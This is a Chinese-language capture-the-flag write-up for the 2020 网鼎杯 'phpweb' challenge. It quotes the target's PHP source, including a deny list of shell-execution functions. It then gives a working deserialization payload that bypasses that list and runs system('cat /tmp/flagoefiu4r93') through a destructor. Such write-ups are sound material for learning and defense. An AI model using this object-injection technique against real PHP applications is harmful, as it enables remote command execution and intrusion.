[网鼎杯 2020 朱雀组]phpweb

• 一开始没有啥思路
• 抓了个包 发现可以传参 再结合报错 这里应该是可以利用函数的
  
• 返回的index.php源代码

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

• 禁止了一堆函数例如system
• 看到类 想到利用反序列化 去绕过
• func利用unserialize函数 p传入序列化后的值
• 就会调用gettime函数$result被赋予反序列后的值

<?
class Test {
        var $p = "cat /tmp/flagoefiu4r93";
        var $func = "system";
}
$a = new Test();
$b = serialize($a);
echo $b;
?>

• Test类最后的_destruct()函数在程序执行完毕时自动调用销毁$result
• payload：

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}`